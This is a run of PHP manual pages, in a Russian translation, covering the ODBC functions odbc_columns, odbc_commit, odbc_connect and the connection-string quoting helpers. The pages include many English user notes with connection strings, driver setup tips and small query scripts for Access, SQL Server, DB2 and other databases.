Since I was just looking for table descriptions of an MS Access file I didn't know the table structure of, I wrote this (where $inputfile is the Access file name):

<?php
$conn = odbc_connect("DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=".$inputfile;, "", "");

$tabs = odbc_tables($conn);
$tables = array();
while (odbc_fetch_row($tabs)){
    if (odbc_result($tabs,"TABLE_TYPE")=="TABLE") {
        $table_name = odbc_result($tabs,"TABLE_NAME");
        $tables["{$table_name}"] = array();
        $cols = odbc_exec($conn,'select * from `'.$table_name.'` where 1=2');  // we don't want content
      $ncols = odbc_num_fields($cols);
        for ($n=1; $n<=$ncols; $n++) {
            $field_name = odbc_field_name($cols, $n);
            $tables["{$table_name}"]["{$field_name}"]['len'] = odbc_field_len($cols, $n);
            $tables["{$table_name}"]["{$field_name}"]['type'] = odbc_field_type($cols, $n);
        }
    }
}
odbc_close ($conn);
print_r($tables);
?>
jeremie dot legrand at komori-chambon dot fr 19-Feb-2008 02:43
Here is the way to use odbc_columns() with "Attunity Connect", an ODBC connector to VMS :

$db = "my_database";
$table = "my_table";
$con = odbc_connect($db, "user", "password");
$result = odbc_columns($con, $db, "", $table, "%");
while (odbc_fetch_row($resu)) {
    echo odbc_result_all($resu);
}
Artur 23-Jan-2007 06:15
This is the only way I could actually get field names using odbc_columns. Hope it will be usefull for someone.

$result = odbc_columns($odbc,$dbhost,"dbo", "KIR_ViolationDetail");

while (odbc_fetch_row($result))
{
  echo odbc_result($result,"COLUMN_NAME");
}
ke3wh at comcast dot net 26-Nov-2004 05:47
The complete script to get into from a DSN MS Access DB Table and display it is below.

function Error_Handler( $msg, $cnx ) {
    echo "$msg \n";
    odbc_close( $cnx);
    exit();
    }

$cnx = odbc_connect( 'DSN_NAME' , '', '' );//connect to MSAccess
    if (!$cnx) {
      Error_handler( "Error in odbc_connect" , $cnx );
    }

    $res400= odbc_columns($cnx,"DSN_NAME","","TABLE");
    echo odbc_result_all($res400);
laundro at gmail dot com 15-Nov-2004 08:29
Getting all column names from Excel with ODBC:
$cols = odbc_columns($connection, $filename, NULL, $sheet);

where:
$connection is the result of your odbc_connect;
$filename is the filename of the Excel file;
$sheet is the name of the Excel worksheet.

This is useful when you want to query an Excel file without having to name ranges beforehand. With the results obtained from the above command, you can populate an array and use its contents (ie the column names) for further querying.
netaminas at hotamil dot com 25-Feb-2004 02:21
Connect with IBM Client Access 32-bit ODBC driver

To access table information in DB2 iSeries (AS/400) via ODBC Driver i've tried with this code and worked!!!

$conn_ODBC = odbc_connect("DSN", "USER", "PASSW") or die;
$tabela = "table name in IBM iSeries";
$libname = "library name in IBM iSeries"

$res400 = odbc_columns($conn_ODBC, "DSN", $libname, $tabela, "%")  or die("<p><font color=#FF0000>Erro Na Leitura da Tabela ".$tabela." do AS/400: ".odbc_errormsg());

echo odbc_result_all($res400);

Netaminas.com
PORTUGAL
21-Oct-2003 11:44
ODBC & MS ACCESS :

odbc_columns($conn,"DSN_NAME","","TABLE_NAME");
Sergio Sartori 25-Feb-2003 08:05
Using this function on a MS SQL Server 2000 database connection with the syntax:

$res = odbc_columns($connId, $dbName, "%", $tableName, "%");

I actually get a result set with THESE columns name:

TABLE_CAT, TABLE_SCHEM, TABLE_NAME, COLUMN_NAME, DATA_TYPE, TYPE_NAME, COLUMN_SIZE, BUFFER_LENGTH, DECIMAL_DIGITS, NUM_PREC_RADIX, NULLABLE, REMARKS

in the order displayed.
josh at engledental dot com 12-Jun-2002 05:34
(PHP4.2.1, Win2k, MSSQL 2K)

The result id returned from this function does not appear to behave exactly the same as a result id returned from a query.

I get all sorts of errors when I try to use subsequent odbc functions on the result id, such as:

odbc_fetch_into - This function only seems to work if I don't specify a row number or if the row number = 0.

odbc_fetch_row - This function will not return a row from the result set.  Under some scenarios, I am able to use it in a while loop, but its seems buggy.  Hence, my odbc_num_of_rows function (hack to replace the non-functional odbc_num_rows function) also doesn't work.

I recommend dumping the results into an array immediately and freeing the result id created by this function.

ps - If anyone has any further insight or workarounds, I would appreciate them.
LyleE at LocalMotion dot com 22-Feb-2001 11:53
Took me a while to figure out this command, thought I would save some other people the time.  We couldn't quite figure out what the qualifier was.  For MSSQL 7.0, it is the Database that you are connecing to.  For the pubs database it would look something like this.

$rs = odbc_columns($DBConnection, "Pubs", "%", "jobs");

That would be for showing the jobs table.


Фиксирует транзакцию ODBC

  • « odbc_columns
  • odbc_connect »
  • PHP Manual
  • Функции ODBC
  • Фиксирует транзакцию ODBC

odbc_commit

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_commit — Фиксирует транзакцию ODBC

Описание

odbc_commit(resource $odbc): bool

Фиксирует все незавершённые транзакции в соединении.

Список параметров

odbc

Идентификатор соединения ODBC, за подробностями обращайтесь к odbc_connect().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Соединяет с источником данных

  • « odbc_commit
  • odbc_connection_string_is_quoted »
  • PHP Manual
  • Функции ODBC
  • Соединяет с источником данных

odbc_connect

(PHP 4, PHP 5, PHP 7, PHP 8)

odbc_connect — Соединяет с источником данных

Описание

odbc_connect(
string $dsn,
string $user,
string $password,
int $cursor_option = SQL_CUR_USE_DRIVER
): resource|false

Идентификатор соединения, возвращаемый этой функцией, необходим для других ODBC-функций. Вы можете держать одновременно открытыми несколько соединений.

Некоторые ODBC-драйверы, выполняющие сложные хранимые процедуры, могут обрываться с ошибкой типа: "Cannot open a cursor on a stored procedure that has anything other than a single select statement in it". Использование SQL_CUR_USE_ODBC поможет избежать появления этой ошибки. Также некоторые драйверы не поддерживают необязательный параметр row_number в odbc_fetch_row(). SQL_CUR_USE_ODBC также может помочь в этом случае.

Список параметров

dsn

Database Source Name (DSN) для соединения. В качестве альтернативы можно производить соединение и без DSN.

user

Имя.

password

Пароль.

cursor_option

Устанавливает тип используемого курсора для соединения. Обычно этот параметр не нужен, но может оказаться полезным для обхода проблем с некоторыми драйверами ODBC.

Следующие константы определены для типа курсора:

  • SQL_CUR_USE_IF_NEEDED
  • SQL_CUR_USE_ODBC
  • SQL_CUR_USE_DRIVER

Возвращаемые значения

Возвращает соединение ODBC или false в случае возникновения ошибки.

Примеры

Пример #1 Соединения без DSN

<?php
// Microsoft SQL Server используя SQL Native Client 10.0 ODBC Driver - позволяет соединяться
// с SQL 7, 2000, 2005 и 2008
$connection = odbc_connect("Driver={SQL Server Native Client 10.0};Server=$server;Database=$database;", $user, $password);

// Microsoft Access
$connection = odbc_connect("Driver={Microsoft Access Driver (*.mdb)};Dbq=$mdbFilename", $user, $password);

// Microsoft Excel
$excelFile = realpath('C:/ExcelData.xls');
$excelDir = dirname($excelFile);
$connection = odbc_connect("Driver={Microsoft Excel Driver (*.xls)};DriverId=790;Dbq=$excelFile;DefaultDir=$excelDir" , '', '');
?>

Смотрите также

  • Для постоянных соединений: odbc_pconnect() - Открывает постоянное соединение с базой данных

User Contributed Notes

nunya at damn dot biz 29-Jan-2020 07:38
One additional note regarding odbc_pconnect  and possibly other variations of pconnect:

If the connection encounters an error (bad SQL, incorrect request, etc), that error will return with  be present in odbc_errormsg for every subsequent action on that connection, even if subsequent actions don't cause another error.

For example:

A script connects with odbc_pconnect.
The connection is created on it's first use.
The script calls a query "Select * FROM Table1".
Table1 doesn't exist and odbc_errormsg contains that error.

Later(days, perhaps), a different script is called using the same parameters to odbc_pconnect.
The connection already exists, so it is reused.
The script calls a query "Select * FROM Table0".
The query runs fine, but odbc_errormsg still returns the error about Table1 not existing.

I'm not seeing a way to clear that error using odbc_ functions, so keep your eyes open for this gotcha or use odbc_connect instead.
fr at freedom2ct dot com 24-Apr-2019 01:14
Under Windows odbc_connect (and PDO ODBC) apparently uses the Windows locale to handle input and output from e.g. MS access and MS SQL Server databases.

This causes lots of headaches if one is using other than ASCII characters.

Work-round solutions like utf8_encode and mb_convert both fails.

The solution I fund working is to perform the following changes to Windows

Control Panel > Region > Administrative > Change system locale
>Check '<i>Use Unicode UTF-8 for worldwide language support.</i>'
Matt 03-Sep-2015 03:00
In newer versions you may need: odbc_connect("Driver={Microsoft Access Driver (*.mdb, *.accdb)};Dbq=C:/Folder/database.mdb", "", "");
cjbauer2 at hotmail dot com 21-May-2015 08:52
/* Connecting to Microsoft Access with PHP
   $conn = odbc_connect("Driver={Microsoft Access Driver (*.mdb)};
   Dbq=$mdb_Filename", $user, $password);

This does NOT work on Windows servers.
Instead, it needs
   $conn->Open("Provider=Microsoft,.Jet.OLEDB.4.0; Data Source=......

Point the variable $mdb_Filename to...
   Data Source=C:\inetpub\wwwroot\php\mdb_Filename
   or wherever the virtual directory points.
Luis [from] redcodestudio [dot] com 02-Mar-2015 05:48
Following  simonr at no2sp at m dot cogapp dot com contribution (thank you), I tried to connect to a local MS SQL Server 2014 Express database by creating a DSN-less connection using ODBC. It worked, here's the code.

<?php
// Replace the value of these variables with your own data
$user = 'username';
$pass = 'password';
$server = 'serverName\instanceName';
$database = 'database';

// No changes needed from now on
$connection_string = "DRIVER={SQL Server};SERVER=$server;DATABASE=$database";
$conn = odbc_connect($connection_string,$user,$pass);

if ($conn) {
    echo "Connection established.";
} else{
    die("Connection could not be established.");
}
?>
Abhinav 04-Mar-2012 02:13
Pls ensure that the MSAccess database format is ".mdb".
If it is ".accdb" it will not work!
ewilde aht bsmdevelopment dawt com 17-Feb-2010 01:08
Once you've set up a UnixODBC connection to Informix (as described elsewhere, for example in http://www.unixodbc.org/), the following PHP code will access a database via its DSN:

<?php
// We must set these environment variables for Informix to work.  Either
// do it here or in php.ini.
putenv("INFORMIXDIR=/usr/share/informix");
putenv("ODBCINI=/usr/local/unixODBC/etc/odbc.ini");

// Open up a connection to the database.
if (!($con = odbc_connect("CollectOh", "", "")))
  echo "<p>Connection to CollectOh failed.</p>\n";
else
  {
  // Let's try enumerating all of the tables in the database (there ain't
  // no "show tables" here).
  if (($res = odbc_exec($con, "select * from SYSTABLES")))
    {
    echo "<p>\n";
    odbc_result_all($res);
    echo "</p>\n";
    }

  // Close up shop, like good dobies.
  odbc_close($con);
  }
?>
Shyam Hazari 25-Oct-2009 03:43
Here is my successful odbc_connect with mysql on Ubuntu. It took me a while to figure this out.

Installed following packages using apt-get.

apache2
apache2-mpm-prefork
apache2-utils
apache2.2-common
libapache2-mod-php5
libdbd-mysql-perl
libmyodbc
libmysqlclient15off
mysql-client-5.0
mysql-common
mysql-server-5.0
mysql-server-core-5.0
odbcinst1debian1
php5
php5-cli
php5-common
php5-odbc
unixodbc

/etc/odbc.ini
------------
myodbc3      = MySQL ODBC 3.51 Driver

[myodbc3]
Driver         = /usr/lib/odbc/libmyodbc.so
Description  = MySQL ODBC 3.51 Driver
Server        = localhost
Port           = 3306
User           = shyam
Password    = mypass
Database    = mysql
Option        = 3
Socket       = /var/run/mysqld/mysqld.sock

/etc/odbcinst.ini
----------------
[MySQL ODBC 3.51 Driver]
Description    = MySQL driver
Driver        = /usr/lib/odbc/libmyodbc.so
Setup        = /usr/lib/odbc/libodbcmyS.so
CPTimeout    =
CPReuse    =
UsageCount    = 1

my php script
------------

<html>
<body>
<?
$conn = odbc_connect("DRIVER={MySQL ODBC 3.51 Driver};Server=localhost;Database=mysql", "shyam", "mypass");

$sql = "SELECT user from user";
$rs = odbc_exec($conn,$sql);
echo "<table><tr>";
echo "<th>User Name</th></tr>";
while (odbc_fetch_row($rs))
 {
 $user = odbc_result($rs,"user");
 echo "<tr><td>$user</td></tr>";
}
odbc_close($conn);
echo "</table>";
?>

</body>
</html>
drew at pixelburn dot net 02-Jul-2009 05:32
[Microsoft][ODBC Driver Manager] Data source name not found and no default driver specified

If you keep running  into this on the 64 bit versions of windows, ie server 2008,  and none of the other solutions helped.

In a 64 bit windows server operating system, there are TWO odbc managers. When you pull up the usual menu for the odbc / dsn system, it is for the 64 bit odbc manager, and 32 bit applications (vb 6.0, PHP 5) will not work using these dsn's.

This is where the 32 bit odbc manager is:

C:\Windows\SysWOW64\odbcad32.exe
Anonymous 11-Sep-2008 01:16
This might be obvious to some, but here is a quick tidbit that might save you some time if you're using FreeTDS in Linux:

Be sure that you have these two lines in freetds.conf:
dump file = /tmp/freetds.log
dump file append = yes

so you can tail -f it in the background of debugging the problem.  This helped me find my issue on on CentOS Linux:

1) tsql test works
2) isql test works
3) odbc connection in php also works WHEN RUN FROM THE SHELL
4) running PHP through apache does NOT work.

my /tmp/freetds.log file told me:
net.c:168:Connecting to MYDBSERVER port MYDBPORT
net.c:237:tds_open_socket: MYDBSERVER:MYDBPORT: Permission denied

and the answer was my firewall/SELinux was denying the Apache processes access to connect to the remote MSSQL DB port, but my shell accounts were fine.
Anonymous 11-Jun-2008 08:08
I have used mdbtools to access .mdb file on my ubuntu box, as ODBC driver (and PHP)
It has very few features, and practically unusable.
Ceeclipse 05-Feb-2008 01:36
"Returns an ODBC connection id or 0 (FALSE) on error."

Keep in mind that the following code in PHP5 will not work properly:

<?php

if( odbc_connect("test", "test", "test") === false ) {
    // Your error reporting/handling here..
}

?>

odbc_connect() returns an integer, and not a PHP5 boolean!
harald dot angel at gmail dot com 06-Dec-2006 06:12
- Windows - OS
- Apache
- ODBC-Connction to MS-Access DB on a:
- Network Share

After many hours searching here?s how it works:

- Map the Network Drive where the mdb is located
- Setup System DSN in Control Panel with mapped Drive
- Open Registry at:
HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC_INI
- Edit the for example "M:\" to "\\server\..."
- Close Regedit
- The Apache-Service must run with a Domain (network)-User!!
- After that you can connect using:

$conn = odbc_connect('your-dsn-name','','');

hope that makes someone happy :)
bye
Ray.Paseur sometimes uses GMail 28-Nov-2006 07:48
To connect and show tables in a Microsoft Access data base (created in *.asp pages)...

$dbq    =    str_replace("/", "\\", $_SERVER["DOCUMENT_ROOT"]) . "\\path\\to\\database.mdb";
if    (!file_exists($dbq)) { echo "Crap!<br />No such file as $dbq"; }

$db_connection = odbc_connect("DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=$dbq", "ADODB.Connection", "password", "SQL_CUR_USE_ODBC");

$result = odbc_tables($db_connection);

while (odbc_fetch_row($result)) {
    if(odbc_result($result,"TABLE_TYPE")=="TABLE") {
        echo "<br />" . odbc_result($result,"TABLE_NAME");
    }
}
sven dot delmeiren at cac dot be 09-Aug-2006 07:39
Hi,

Instructions on how to connect to a Progress database on Linux using the Merant ODBC driver can be found at http://www.progteg.com/english/documents.html.

Kind regards,

Sven Delmeiren
Computers & Communications NV
gekkeprutser at gmail dot com 06-Dec-2005 06:35
I also had a problem with this message: ([ODBC SQL Server driver]Allocation of a Sybase Open Client Context failed). The message only appeared after the server had run for a few hours, so I expected resource starvation. However it was a settings problem and I thought this might benefit others too.

In addition to putting a <?php putenv ("SYBASE=c:\sybase"); ?>  as described by oottavi above, I also had so specify a locale by setting <?php putenv ("LC_ALL=default"); ?>.

Even though my locale was already set to a valid one (en_US) I had to set this environment variable to make it work anyhow.
webmaster at dzconnexion dot com 05-May-2005 08:44
Concerning the note posted by Grisu on the 23-Dec-2003 11:51: Connect to an MS-Access Database on the Network via ODBC,

PLEASE dont forget to put double slashes as follows:

"\\\\Server\\folder\\database.mdb"

when setting up the registry key as indicated...
rotwhiler at hotmail dot com 29-Apr-2005 08:42
For anyone having problems with WHERE clauses in their MS Access ODBC requests here?s what I found: SQL requests sent to Access must include quotes around the criteria.

$sel = "SELECT * FROM table1 WHERE cust_id = 'cust1'";
outputs:
SELECT * FROM table1 WHERE cust_id = 'cust1'
And works.

$sel = ?SELECT * FROM table1 WHERE cust_id = cust1?;
outputs:
SELECT * FROM table1 WHERE cust_id = cust1
And doesn?t work.

Here?s the whole block of code:
$conn = odbc_connect("database1","","");
$sel = "SELECT * FROM table1 WHERE cust_id = 'cust1'";
$exec = odbc_exec($conn,$sel);
while($row = (odbc_fetch_array($exec)))
 $serv[odbc_result($exec,'label')] = $row;
print_r($serv);
aurelien marchand 30-Mar-2005 07:54
For three days I fought to be able to connect our Linux intranet server to our AS400 database through ODBC and PHP on Mandrake. I installed everything I thought would work but I still got a: odbc_connect(): SQL error: Missing server name, port, or database name in call to CC_connect., SQL state IM002 in SQLConnect

Note that isql was working great but php was failing to connect.

The solution:
I located and found a PHP module called php-unixODBC (to oppose with php-odbc). Once installed (even though it wasn't for the right version of PHP), I realised it didn't place the file properly. The ini file was in /etc/php/ instead of /etc/php.d/, so I moved it there and renamed the old /etc/php.d/36_odbc.ini to /etc/php.d/36_odbc.ini.sav, so that I now had /etc/php.d/36_unixodbc.ini. I restarted the httpd server and now I was able to access the as400.

If you have questions, email _artaxerxes2_at_iname_dot_com (sans the underscore).
aamaral at 0kbps dot net 03-Mar-2005 10:16
Two additional notes regarding ODBC connections to a Network Sybase SQL Anywhere 8 Server..

I wrote a script using the PHP5 CLI binary that monitors a directory for changes, then updates a Network Server SQL Anywhere 8 database when a change was detected. Idealy, my program would run indefinately, and issue odbc_connect()/odbc_close() when appropriate. However, it seems that once connected, your odbc session is limited to 30 seconds of active time, after which, the connection becomes stale, and no further queries can be executed.  Instead, it returns a generic "Authentication violation"  error from the odbc driver.

Here's an example:

<?php
  $conn=odbc_connect($connect_string,'','');
  $result=odbc_exec($qry,$conn);  //returns data
  sleep(31);
  $result=odbc_exec($qry,$conn);  //"Authentication Violation"
?>

Additionally, it seems that odbc_close() doesn't truely close the connection (at least not using Network SQL Anywhere 8). The resource is no longer usable after the odbc_close() is issued, but as far as the server is concerned, there is still a connection present. The connection doesn't truely close until after the php script has ended, which is unfortunate, because a subsequent odbc_connect() commands appear to reuse the existing stale connection, which was supposedly closed.

My workaround was to design my script exit entirely after a the database update had completed.  I then called my script whithin a batch file and put it inside an endless loop.

I'm not sure if this is a bug with PHP or what, but I thought I'd share in case someone else is pulling their hair out trying to figure this one out...
aamaral at 0kbps dot net 16-Feb-2005 12:29
To connect to Sybase SQL Server Anywhere 8.0 on Windows use the following:

<?php
//================================================================

  // Configure connection parameters
  $db_host        = "server.mynetwork";
  $db_server_name = "Dev_Server";
  $db_name        = "Dev_Data";
  $db_file        = 'c:\dbstorage\dev.db';
  $db_conn_name   = "php_script";
  $db_user        = "dbuser";
  $db_pass        = "dbpass";

//================================================================
  $connect_string = "Driver={Adaptive Server Anywhere 8.0};".
                    "CommLinks=tcpip(Host=$db_host);".
                    "ServerName=$db_server_name;".
                    "DatabaseName=$db_name;".
                    "DatabaseFile=$db_file;".
                    "ConnectionName=$db_conn_name;".
                    "uid=$db_user;pwd=$db_pass";

  // Connect to DB
  $conn = odbc_connect($connect_string,'','');

  // Query
  $qry = "SELECT * FROM my_table";

  // Get Result
  $result = odbc_exec($conn,$qry);

  // Get Data From Result
  while ($data[] = odbc_fetch_array($result));

  // Free Result
  odbc_free_result($result);

  // Close Connection
  odbc_close($conn);

  // Show data
  print_r($data);

//================================================================
?>
manuel dot vecino at steria dot es 16-Nov-2004 03:04
Hi Mario, I changed a bit your script to suit my configuration,
I also included a lines to close the connection.
Thanks for the script
I am running apache 2.0.52 and PHP 5.0.2. Windows 2000
SQL 2000

<head>
<title>Untitled Document</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body bgcolor="#FFFFFF">
<table width="75%" border="1" cellspacing="1" cellpadding="1" bgcolor="#FFFFFF">
  <tr bgcolor="#CCFFFF">
    <td height="22"><b>Tipo</b></td>
    <td height="22"><b>Marca</b></td>
    <td height="22"><b>Modelo</b></td>
  </tr>

<?php
$cx=odbc_pconnect("RAMPANT","Invent","pass","");
$cur=odbc_exec($cx,"select tipo,marca,modelo from inv_equipos");
while(odbc_fetch_row($cur))
{
//collect results
$tipo=odbc_result($cur,1);
$marca=odbc_result($cur,2);
$modelo=odbc_result($cur,3);
//format and display results
    print ("<tr>");
    print ("<td>$tipo</td>");
    print ("<td>$marca</td>");
    print ("<td>$modelo</td>");
    print ("</tr>");
    }

//disconnect from database
    odbc_close($cx);

    ?>

</table>
</body>
</html>
simonr at no2sp at m dot cogapp dot com 01-Jun-2004 05:26
To make a DSN-less connection using ODBC to MS-SQL:

<?php

$connection_string = 'DRIVER={SQL Server};SERVER=<servername>;DATABASE=<databasename>';

$user = 'username';
$pass = 'password';

$connection = odbc_connect( $connection_string, $user, $pass );

?>

servername is the name of the database server

databasename is the name of the database

Note, I've only tried this from a windows box using the Microsoft ODBC drivers.
atze at o2o dot com dot au 04-Feb-2004 03:41
To connect to a SQL DB on a unix srv via odbc one can use one of the following solutions.

1. having an odbc.ini (~/.odbc.ini)

[PostgreSQL]
Description         = PostgreSQL template1
Driver              = PostgreSQL
Trace               = Yes
TraceFile           = /tmp/odbc.log
Database            = PerfTest
Servername          = localhost
UserName            = boss
Password            = BigBoss
Port                = 5432
Protocol            = 6.4
ReadOnly            = Yes
ConnSettings        =

[Default]
Driver = /local/lib/libodbc.so

2. specifying a DSN

function DBCALL($SQL)
{
$U = "boss";
$DB = "PerfTest";
$P = "BigBoss";
$Srv = "llocalhost";
$DSN = "Driver=PostgreSQL;Server=$Srv;Database=$DB";

echo "Trying to connect to $DSN\n";
if ($CID = odbc_connect ("$DSN","$U","$P",SQL_CUR_USE_ODBC))
{
    echo "still trying CID = $CID\n";
    if ($RES = odbc_exec($CID, $SQL))
    {
        echo "RES = $RES\n";
        print_r($RES);
        echo "\n";

        $NR = odbc_num_rows($RES);

<snip>

Hope this helps.
Grisu 23-Dec-2003 03:51
Connect to an MS-Access Database on the Network via ODBC

Apache 2.0.47 with PHP 4.3.4 running on Windows XP Pro

If you encounter the error
"[Microsoft][ODBC Driver Manager] Data source name not found and no default driver specified, SQL state IM002 in SQLConnect"

you should make sure to have the following done:

The ODBC-link must be a System-DNS and not a User-DNS. Configure your ODBC-link and then modify your configuration with regedt32. Go to HKEY_LOCAL_MACHINE\SOFTWARE\ODBC\ODBC_INI and open your ODBC-link. The field DBQ contains the path to your database. This path must be without Drive-names (e. g. "M:") so change it to "\\Server\folder\database.mdb". This setting is changed each time you modify your ODBC-configuration using the Windows-tool, so make sure you do this afterwards.

Then you go to the Services-Section in your Systemmanagement. Select the properties of your Apache module. In the login-section you have to make sure you login with a valid User-Account for your Network-Server.

Please note that this way you still have no permission to access linked tables within the linked database

Funny enough all this is not necessary on Win98.
lffranco at dco.pemex.com 27-Aug-2003 06:08
As always Microsoft is clueless... I've been trying to connect to an Access database on a W2K on the network (not a local file, but mapped on the V: drive), via ODBC.

All I got is this message:
Warning: SQL error: [Microsoft][ODBC Microsoft Access Driver] '(unknown)' is not a valid path. Make sure that the path name is spelled correctly and that you are connected to the server on which the file resides., SQL state S1009 in SQLConnect in d:\apache\cm\creaart.php on line 13

So... I started looking al around and looks like the ODBC driver has some severe problems:

1. It cannot access a Access database via a mapped drive. And this is for ANY application, name it PHP, Coldfusion, whatever
2. You cannot make a system DSN with a UNC (\\Server\resource), so you must map the drive

Cute isn't it?

So... I quit on ODBC and went via ADO, this is the code that works:

=== CODE ===

$db = '\\\\server\\resource\\db.mdb';
$conn = new COM('ADODB.Connection');
$conn->Open("DRIVER={Driver do Microsoft Access (*.mdb)}; DBQ=$db");

// Driver do Microsoft Access (*.mdb)
// must be the name in your odbc drivers, the one you get
// from the Data Sources (ODBC).
// In this case, I'm in Mexico but the driver name is in portuguese, thanks Microsoft.

$sql = 'SELECT username FROM tblUsuarios';
$res = $conn->Execute($sql);
while (!$res->EOF)
{
    print $res->Fields['username']->Value . "<br>";
    $res->MoveNext();
}

$res->Close();
$conn->Close();
$res = null;
$conn = null;

=== /CODE ===
jeremy at austin.ibm.com 28-Feb-2003 02:20
here's a quick note about using php and db2 that cost me a couple of hours and several recompiles trying to figure out why it didn't work.

put the below line in any script

     putenv("DB2INSTANCE=db2inst1");

Or, set that in your webserver environment somehow.
osiris at rich-howard dot co dot uk 24-Jul-2002 10:34
Thought I'd add a note here on this. I'm using Apache 2.0.39 on Windows XP and PHP 4.2.2.

It helps a lot if you don't use capital letters in your dsn string.

Thought I also comment on the posts about using system dsns over file dsns. There are lots of posts saying use systems not files, but none (that I have seen) which explain why.

Essentially: File DSNs are specific to the current user, therefore the Internet Guest User Account doesn't have rights to them. Systems are available to everyone.

Regards

Osiris :)
Mahmoud at iastate dot edu 29-Nov-2001 12:35
WINNT 4 Workstation, PHP4

odbc_connect() kept giving me weird errors when trying to connect to a MSaccess DSN(Microsoft Jet engine couldn't open the database 'Unknow'. Another user is using it exclusively, or you dont have permission to use it).

After going nuts for a while, I realized that my database name had a space in it (course surveys.mdb), I shortened the name to eliminate the space .. and everything worked fine.
lomaky at yahoo dot com 23-Nov-2001 02:30
// simple conection

$cnx = odbc_connect('cliente','Administrador','');
//query
$SQL_Exec_String =  "select * from Clientes";
//ejecucion query
$cur= odbc_exec( $cnx, $SQL_Exec_String );
echo  "<table border=1><tr><th>Dni</th><th>Nombre</th>".
         "<th>codigo</th><th>ciudad</th></tr>\n";
    while( odbc_fetch_row( $cur ) ) {
       $Dni= odbc_result( $cur, 1 );
       $Nombre= odbc_result( $cur, 2 );
       $codigo= odbc_result( $cur, 3 );
       $ciudad= odbc_result( $cur, 4 );
        echo  "<tr><td>$Dni</td><td>$Nombre</td>".
             "<td>$codigo</td><td>$ciudad</td></tr>\n";
    }
    echo  "</table>";
root at mediamonks dot net 19-Nov-2001 04:03
Due to multiple requests, more for DSN-less connections:

<?php
$db_connection = new COM("ADODB.Connection");

$db_connstr = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=". realpath("../databases/database.mdb") ." ;DefaultDir=". realpath("../databases");
$db_connection->open($db_connstr);
$rs = $db_connection->execute("SELECT * FROM Table");
$rs_fld0 = $rs->Fields(0);
$rs_fld1 = $rs->Fields(1);
while (!$rs->EOF) {
  print "$rs_fld0->value $rs_fld1->value\n";
  $rs->MoveNext(); /* updates fields! */
}
$rs->Close();
$db_connection->Close();
?>

(Prints first 2 columns for each row.)
cs at coolspot dot de 10-Jul-2001 01:01
We've tried hard to connect from php to our IBM DB2 RS/6000 Server. It worked after we compiled with --ibm-db2= option, but it was unbelievable
slow.

No, just testing some options, we found out that it went from very slow (getting 100 records lasts 1 till 10 seconds) to fast access (almost same speed as with using JDBC from Servlets) to 0.2 till 0.3 seconds.

We simply added the optional parameter Cursortype to odbc_connect, and with the cursortype SQL_CUR_USE_ODBC it changed in that way!

Hope this helps anybody who must connect to db2 ;)
fc99 at smm dot de 26-Jan-2001 06:23
If you don't want to specify your login credentials on your web server, you can leave the login fields blank to use the integrated windows security like here:

odbc_connect("DSN=DataSource","","");

Make sure you have switched your system dsn to integrated security, too !

(works on windows machines only, of course)

flo.
SilencerX at optidynamic dot com 26-Jan-2001 03:31
If like me you are using openlink from unix to access an MS Access database on an NT/Win2k machine and find out that your INSERT queries don't do anything and don't report any errors, use odbc_pconnect().

I couldn't understand what was going on and after a bit of research I found out that with MySQL they recommended using mysql_pconnect() for INSERT queries. I tried the same thing with odbc and it worked.
phobo_AT_paradise.net.nz 02-Nov-2000 06:01
If using Openlink to connect to a Microsoft Access database, you will most likely fine tha odbd_connect() works fine, but discover that ANY query will produce odd results; with SELECT queries failing with "[OpenLink][ODBC][Driver]Driver not capable, SQL state
S1C00 in SQLExecDirect in xxxx.php on line xx" and INSERT / DELETE queries warning "No tuples available at this result index".

In this case, use the SQL_CUR_USE_ODBC cursor!

This had me stumped for quite some time; because it was the odbc_exec() which was seemingly at fault... :)

Siggy
cnewbill at onewest dot net 18-May-2000 05:55
Alot of people share the same kind of problems getting this setup on linux.  I was assigned this problem 2 days ago and I was successful.  My combination was PHP4 RC2, Easysoft OOB, and unixODBC.  These three products work very well together and are real easy to install.  More info http://www.easysoft.com/products/oob/main.phtml. ps also works good with Perl's DBI.


Определяет, заключено ли значение строки соединения ODBC в кавычки

  • « odbc_connect
  • odbc_connection_string_quote »
  • PHP Manual
  • Функции ODBC
  • Определяет, заключено ли значение строки соединения ODBC в кавычки

odbc_connection_string_is_quoted

(PHP 8 >= 8.2.0)

odbc_connection_string_is_quoted — Определяет, заключено ли значение строки соединения ODBC в кавычки

Описание

odbc_connection_string_is_quoted(string $str): bool

Определяет, правильно ли заключена строка в кавычки для значения строки соединения ODBC. Для кавычек в строке соединения ODBC используются фигурные скобки, причём завершающие скобки в строке должны быть экранированы путём повторения их дважды, аналогично кавычкам в SQL.

Список параметров

str

Строка, которую необходимо проверить на наличие кавычек.

Возвращаемые значения

Возвращает true, если кавычки приведены правильно, в противном случае возвращает false.

Смотрите также

  • odbc_connection_string_quote() - Заключает в кавычки значение строки подключения
  • odbc_connection_string_should_quote() - Определяет, следует ли заключать значение строки соединения ODBC в кавычки

User Contributed Notes

There are no user contributed notes for this page.


Заключает в кавычки значение строки подключения

  • « odbc_connection_string_is_quoted
  • odbc_connection_string_should_quote »
  • PHP Manual
  • Функции ODBC
  • Заключает в кавычки значение строки подключения

odbc_connection_string_quote

(PHP 8 >= 8.2.0)

odbc_connection_string_quote — Заключает в кавычки значение строки подключения

Описание

odbc_connection_string_quote(string $str): string

Заключает в кавычки значение строки подключения в соответствии с правилами ODBC. То есть оно будет окружено кавычками, а все завершающие фигурные скобки будут экранированы. Это необходимо делать для всех значений строки подключения, которые поступают от пользователя. Невыполнение этого требования может привести к проблемам с разбором строки подключения или к инъекции значений в строку подключения.

Обратите внимание, что данная функция не проверяет, не заключена ли уже строка в кавычки и не нуждается ли она в кавычках. Для этого следует использовать функцию odbc_connection_string_is_quoted() и odbc_connection_string_should_quote().

Список параметров

str

Строка, не заключённая в кавычки.

Возвращаемые значения

Возвращает строку, заключённую в кавычки, окружённую фигурными скобками и правильно экранированную.

Примеры

Пример #1 Пример использования odbc_connection_string_quote()

